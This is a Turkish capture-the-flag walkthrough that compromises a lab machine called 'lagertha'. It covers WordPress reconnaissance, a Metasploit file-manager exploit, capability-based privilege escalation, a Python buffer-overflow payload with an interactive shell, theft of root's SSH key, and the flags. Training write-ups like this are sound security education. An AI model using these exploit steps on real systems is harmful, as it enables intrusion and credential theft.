1. Adım: Nmap Taraması
nmap 192.168.238.0/24

2. Adım: Port Analizi
nmap 192.168.238.142 -A -Pn

3. Adım: Dirb Taraması ile Alt Dizinleri Tespit Etme
dirb http://192.168.238.142:80 /usr/share/wordlists/dirb/common.txt

4. Adım: WPScan Kurulumu
sudo apt update # bu komut internet paketinizi bitirebilir. bunu atlayabilirisiniz.
sudo apt install wpscan

5. Adım: WordPress Açıklık Taraması
wpscan --url http://192.168.238.142 -e

Ekrandaki resimden daha uzun tarama sonucu verecektir. Özet olarak aşağıdaki bilgileri edindik.

6. Adım: FFUF ile Eklenti Tespiti
Aşağıdaki plugins.txt dosyasını indir ve bu listeyi kullanarak ffuf aracıyla tarama yap. Bu tarama, listedeki eklentilerden hangilerinin hedef sitede kullanıldığını tespit etmemizi sağlayacak.
https://github.com/perfectdotexe/wordpress-plugins-list/blob/master/plugins.txt
ffuf -u "http://192.168.238.142/wp-content/plugins/FUZZ" -w plugins.txt

7. Adım: Metasploit Kullanımı (msfconsole)
msfconsole -q
msf6 > search wp-file-manager

Devamı...

Devamı...

Devamı...

Devamı...

Devamı... Help komutu ile çalıştırabileceğimiz kodları öğrendik.

Devamı... shell kodunu çalıştırdık. Birkaç deneme sonrası içeri girdik, artık www-data kullanıcısıyız.

Devamı... wp-config.php dosyasından veritabanı bilgilerini elde ettik.

8. Adım: Terminali Düzgün Hale Getirme
# Python ile interaktif bash shell başlatma
python3 -c "import pty; pty.spawn('/bin/bash')"
# Bash interaktif shell
/bin/bash -i
# Terminal ayarlarını düzeltme
export TERM=xterm
stty raw -echo && fg

Ardından sistemde yetenek atanmış dosyaları arıyoruz:
cd /home/lagertha
www-data@lagertha:/home/lagertha$ getcap / -r 2>/dev/null
Kullanıcı getcap / -r 2>/dev/null komutunu çalıştırarak sistemde özel yetenekler (capabilities) atanmış dosyaları aramış. Bu, genellikle yetki yükseltme (privilege escalation) amacıyla yapılır. Özellikle /shell dosyasına atanmış cap_setuid+ep yeteneği, kullanıcının root yetkisi kazanmasını sağlayabilecek ciddi bir güvenlik açığıdır.

Shell dosyasını çalıştırmak için cd /
ile / dizinine in
www-data@lagertha:/home/lagertha$ cd /
www-data@lagertha:/$ ls -la
www-data@lagertha:/$ ./shell

9. Adım: Home Dizininde Yayın Başlatma

10. Adım: Gerekli Hazırlıklar

11. Adım: Ghidra Çalıştır
Terminale ghidra
yazarak çalıştırabilirsiniz
# sudo apt install ghidra #ghidra yüklü değilse önce bu komut ile yükleyin

12. Adım: Dosya Analizi
lageroot
dosyasını ghidrada açarak analiz edin. resimdeki lagartha
dosyasını new proje diyerek ekleyabilirsiniz.

13. Adım: Dosyayı Aç ve "Analiz Et" Butonuna Bas

14. Adım: Python Kodunu Yaz (kod.py)
Aşağıdaki kodu kod.py
olarak kaydet. IP ve port bilgisini güncelle:
import socket
import struct
host = "192.168.238.142"
port = 1453
payload = b"A" * 24 + struct.pack("<I", 0xcafebabe) # Doğru endian formatında payload
print(payload)
with socket.create_connection((host, port)) as s:
s.sendall(payload + b'\n') # Payload'ı gönder
s.sendall(b"sleep 5\n")
while True:
try:
cmd = input("$ ") # Kullanıcıdan komut al
s.sendall(cmd.encode() + b"\n") # Komutu gönder
print(s.recv(4096).decode(errors='ignore')) # Gelen çıktıyı yazdır
except KeyboardInterrupt:
break
15. Adım: Karşı Makinede Dinleyici Aç
Aşağıdaki kodları karşı makina içinde çalıştırıyoruz.
lagertha@lagertha:/home$ cd /home/lagertha
lagertha@lagertha:/home/lagertha$ socat tcp-listen:1453 exec:./lageroot
Resimdeki gibi görüntünüz olsun.

16. Adım: Kod.py'yi Çalıştır
python3 kod.py
bundan sonraki her kodu 2. kez çalıştırdığında cıktı veriyor.
cat /root/.ssh/id_rsa
Buradan id_rsa dosyasını aldık.

17. Adım: id_rsa'yı Kopyala ve SSH ile Bağlan
Kendi kalinize klasorun olduğu dosyada terminal açın oluşturduğunuz id_rsa yetki verin
chmod 600 id_rsa
bağlanın
ssh -i id_rsa root@192.168.238.142

SON ADIM: Bayrakları Topla
root@lagertha:/# cat /root/root.txt
rootflag{ZnVja3lvdWJmLW10aHJmY2ty}
root@lagertha:/# cat /home/lagertha/user.txt
userflag{ZnVja3lvdWJm}
